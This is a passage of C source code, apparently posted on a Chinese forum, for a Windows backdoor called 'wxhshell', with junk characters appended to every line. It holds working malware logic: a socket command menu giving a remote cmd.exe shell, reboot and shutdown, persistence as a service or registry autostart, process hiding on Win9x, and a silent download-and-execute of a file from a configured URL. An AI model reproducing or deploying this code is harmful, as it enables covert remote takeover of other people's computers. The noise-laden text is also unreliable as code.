  m2x=Qv][@c  
  // 帮助 IW$qP&a  
  case '?': { XlaGR2-%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k )=Gyv<  
    break; d>1cKmH!  
  } IA3m.Vxj ^  
  // 安装 M/5+AsT  
  case 'i': { 'mm~+hp  
    if(Install()) VTl\'>(Cl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]dd TH l  
    else MD+e!A#o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HbZFL*2x3  
    break; y8Oz4|  
    } Kj/{V  
  // 卸载 ]q":ta!f  
  case 'r': { sD{d8s[(  
    if(Uninstall()) ,w|Or}h]7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4Wu`-4^  
    else wN2D{Jj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9lR-  
    break; A2p]BW&  
    } ?C`&*+  
  // 显示 wxhshell 所在路径 "*HVL  
  case 'p': { -A(]U"@n  
    char svExeFile[MAX_PATH]; ('oA{,#L  
    strcpy(svExeFile,"\n\r"); 4DV@-  
      strcat(svExeFile,ExeFile); j9g0k<eg  
        send(wsh,svExeFile,strlen(svExeFile),0); K4vOy_wT  
    break;  8\Uy  
    } N${Wh|__^l  
  // 重启 h~-cnAMt  
  case 'b': { |FP@NUX\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ltg\x8w?c  
    if(Boot(REBOOT)) z>A;|iL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qk?J4 B  
    else { &j!q9F  
    closesocket(wsh); O3En+m~3n)  
    ExitThread(0); t+t D  
    } qL2Sv(A Z!  
    break; yP*oRV%uX  
    } u_'XUJ32!  
  // 关机 eEZZ0NNe;  
  case 'd': { 6|B;C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V:h3F7  
    if(Boot(SHUTDOWN)) g..&x]aS(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qE@H~&  
    else { 9FcH\2J  
    closesocket(wsh); 9w}_CCj3  
    ExitThread(0); `6FH@" |I  
    } /?B%,$~  
    break; |gwGCa+  
    } >)8<d3m  
  // 获取shell = 6.i.(L_S  
  case 's': { WJBwo%J  
    CmdShell(wsh); dCO7"/IHW  
    closesocket(wsh); >7(7  
    ExitThread(0); kB]?95>Wx  
    break; `^'0__<M  
  } 3!Cab/T  
  // 退出 ot; ]?M  
  case 'x': { SS7C|*-Zd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $m[* )0/  
    CloseIt(wsh); UYkuz  
    break; U`kO<ztk  
    } gI{56Z  
  // 离开 Sp./*h\}  
  case 'q': { "Ax#x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p.RSH$]  
    closesocket(wsh); wY{!gQ  
    WSACleanup(); 6>F1!Q  
    exit(1); miEf<<L#z  
    break; >d<tcaB  
        } <hB~|a<#  
  } G`R_kg9$  
  } l *]nvd_  
3}x6IM 2  
  // 提示信息 RWdx) qj{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Kj xQO6y3  
} :~LOw}N!aQ  
  } Po7oo9d  
)Kg _E6  
  return; m?O"LGBB =  
} x%OJ3Qjj=  
)vy_m_f&  
// shell模块句柄 sZ%wQqy~k  
int CmdShell(SOCKET sock) {PS|q?  
{ \$Aw[ 5&t  
STARTUPINFO si; m4 :"c"  
ZeroMemory(&si,sizeof(si)); IvJ5J&!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K(heeZUt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [5wU0~>'  
PROCESS_INFORMATION ProcessInfo; ucX!6)Op  
char cmdline[]="cmd"; ~NZ}@J{00_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7~2V5 @{<  
  return 0; 2O " ~k  
} dEK bB  
gjc[\"0a5h  
// 自身启动模式 =fcRH:B:  
int StartFromService(void) 1pZ[r M'}  
{ qd@Fb*  
typedef struct Bt(U,nFB  
{ (/gMtIw  
  DWORD ExitStatus; )g[7XB/w  
  DWORD PebBaseAddress; yPT\9"/  
  DWORD AffinityMask; mJa8;X!r6  
  DWORD BasePriority; *ez7Q   
  ULONG UniqueProcessId; Mq4>Mu  
  ULONG InheritedFromUniqueProcessId; x4[ Fn3JL  
}   PROCESS_BASIC_INFORMATION; (k24j*1e$  
&n9 srs  
PROCNTQSIP NtQueryInformationProcess; {IT;g9x  
31{) ~8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C)|#z/"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KJCi4O&  
?jH u,  
  HANDLE             hProcess; v.{I^=  
  PROCESS_BASIC_INFORMATION pbi; uV\~2#o$_  
f\c%G=y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _2rxDd1#.  
  if(NULL == hInst ) return 0; ;0;5+ J7  
#r;uM+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rkh ^|_<!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &C.m*^`^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?oulQR6:  
P/ 7aj:h~P  
  if (!NtQueryInformationProcess) return 0; w02t9vz  
% QI6`@Y"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eZ;DNZK av  
  if(!hProcess) return 0; g<5G#  
MVZ9x%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _[8sL^  
 !AFii:#  
  CloseHandle(hProcess); X DAwE  
8npjQ;%4>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _{48s8V  
if(hProcess==NULL) return 0; 8e}8@[h  
zZI7p[A[3  
HMODULE hMod; f<l.%B  
char procName[255]; (m& ''yaH  
unsigned long cbNeeded; :my@Oxx4@  
cDqj&:$e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 66MWOrr  
0]MI*s>&  
  CloseHandle(hProcess); y>|AX/n  
06fs,!Q@  
if(strstr(procName,"services")) return 1; // 以服务启动 w$FN(BfA  
~Pi CA  
  return 0; // 注册表启动 K])| V  
} X2to](\% X  
-`d(>ok  
// 主模块 zR_yxs'  
int StartWxhshell(LPSTR lpCmdLine) O`FuXB(t  
{ AW/)R"+  
  SOCKET wsl; "7_qB8\  
BOOL val=TRUE; %a$Fsn  
  int port=0; 'QxPQ cU  
  struct sockaddr_in door; 5HMDug;   
jW0aIS2O  
  if(wscfg.ws_autoins) Install(); YV"LM6`  
">rt *?^  
port=atoi(lpCmdLine); Cswa5 l`af  
@ )m9#F  
if(port<=0) port=wscfg.ws_port; jS'hs>Ot  
hv 8j$2m  
  WSADATA data; ^9xsbv B0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kH>^3( Q\  
A3mSSc6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k80!!S=_>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;P2(C >|  
  door.sin_family = AF_INET; <]kifiN#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?8aPd"x  
  door.sin_port = htons(port); jG~UyzWH;  
V'XvwO@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J&jig?t  
closesocket(wsl); aFVd}RO0  
return 1; >? ({  
} W.VyH|?  
2Ik@L,  
  if(listen(wsl,2) == INVALID_SOCKET) { X^ZUm  
closesocket(wsl); i"U<=~  
return 1; XIJ{qrDr  
} R22P ol  
  Wxhshell(wsl); +Y|HO[  
  WSACleanup(); *r]Mn~3  
Ax"I$6n>  
return 0; XqK\'8]\Mw  
t4CI+fqy  
} PbN"+qM  
3+| {O  
// 以NT服务方式启动 ]z_C7Y"4BR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {_5PN^J  
{ DC8,ns]!y  
DWORD   status = 0; >5}jM5$  
  DWORD   specificError = 0xfffffff; Il,^/qvIY  
5 ,1q%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @dp1bkU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qvhol  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RXU#.=xvy  
  serviceStatus.dwWin32ExitCode     = 0; )./.rtP|4  
  serviceStatus.dwServiceSpecificExitCode = 0; BdZO$ALXL  
  serviceStatus.dwCheckPoint       = 0; PM!7ci  
  serviceStatus.dwWaitHint       = 0; sT"h)I)]*  
{ei,>5K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w=S7zzL)  
  if (hServiceStatusHandle==0) return; C/je5  
~'2im[f J  
status = GetLastError(); Nd.Tda!Kg  
  if (status!=NO_ERROR) 1WMwTBHy+  
{ s(Tgv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4yu ^cix(  
    serviceStatus.dwCheckPoint       = 0; Q8 r 7  
    serviceStatus.dwWaitHint       = 0; |xQq+e}l<  
    serviceStatus.dwWin32ExitCode     = status; M`kR2NCi  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,"!P{c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xr\wOQ*`  
    return; @YfCS8 eH  
  } Cq,hzi-  
>4}2~;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WxF rqUz  
  serviceStatus.dwCheckPoint       = 0; %aeQL;# V  
  serviceStatus.dwWaitHint       = 0; r` T(xJ!)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ET7(n0*P}]  
} 3e.v'ccK&  
HN*w(bROr  
// 处理NT服务事件,比如:启动、停止 'hM?J*m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _F1{<" 4  
{ }uE8o"q  
switch(fdwControl) Ghgo"-,#  
{ ii :h E=  
case SERVICE_CONTROL_STOP: "nK(+Z  
  serviceStatus.dwWin32ExitCode = 0; &JpFt^IHi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \Ow-o0  
  serviceStatus.dwCheckPoint   = 0;  *R6n+d  
  serviceStatus.dwWaitHint     = 0; (mJqI)m8  
  { H.ZmLB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,~_)Cf#CB  
  } F+@E6I'g  
  return; a+CHrnU\;  
case SERVICE_CONTROL_PAUSE: $*{$90 Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i-EFq@xl  
  break; c=T^)~$$  
case SERVICE_CONTROL_CONTINUE: o(/(`/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3e g<)  
  break; $I7/FZP  
case SERVICE_CONTROL_INTERROGATE: 3 T3p[q4  
  break; YJ`[$0mam  
}; ( |1 $zF+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5M{ DJ/q  
} fr0iEO_  
eiF!yk?2  
// 标准应用程序主函数 *eO@<j?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M_2[Wypw  
{ e,}]K'!t  
.FnO  
// 获取操作系统版本 1;l&ck-Gg/  
OsIsNt=GetOsVer(); ZL`G<Mo;.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2b]'KiX  
q(Y<cJ?X  
  // 从命令行安装 4C ;4"6  
  if(strpbrk(lpCmdLine,"iI")) Install(); _F *(" o  
}Vpr7_  
  // 下载执行文件 xi=qap=S^9  
if(wscfg.ws_downexe) { O\ T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \"qXlTQ1_9  
  WinExec(wscfg.ws_filenam,SW_HIDE); $+<X 1  
} jG0{>P#+  
+_?;%PKkuF  
if(!OsIsNt) { FV/X&u8~  
// 如果时win9x,隐藏进程并且设置为注册表启动 N2VF_[l  
HideProc(); +OF(CcA^  
StartWxhshell(lpCmdLine); OH28H),}  
} ZpHT2-baVe  
else j}chU'i f  
  if(StartFromService()) ^ZFbp@#U  
  // 以服务方式启动 ~4wbIE_r N  
  StartServiceCtrlDispatcher(DispatchTable); ;C%D+"l1g  
else ZbYwuyHk(3  
  // 普通方式启动 @\_ tS H  
  StartWxhshell(lpCmdLine); qB_MDA  
<,l&),  
return 0; ~u&3Ki*x  
}
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只看该作者 1 发表于: 2006-10-10
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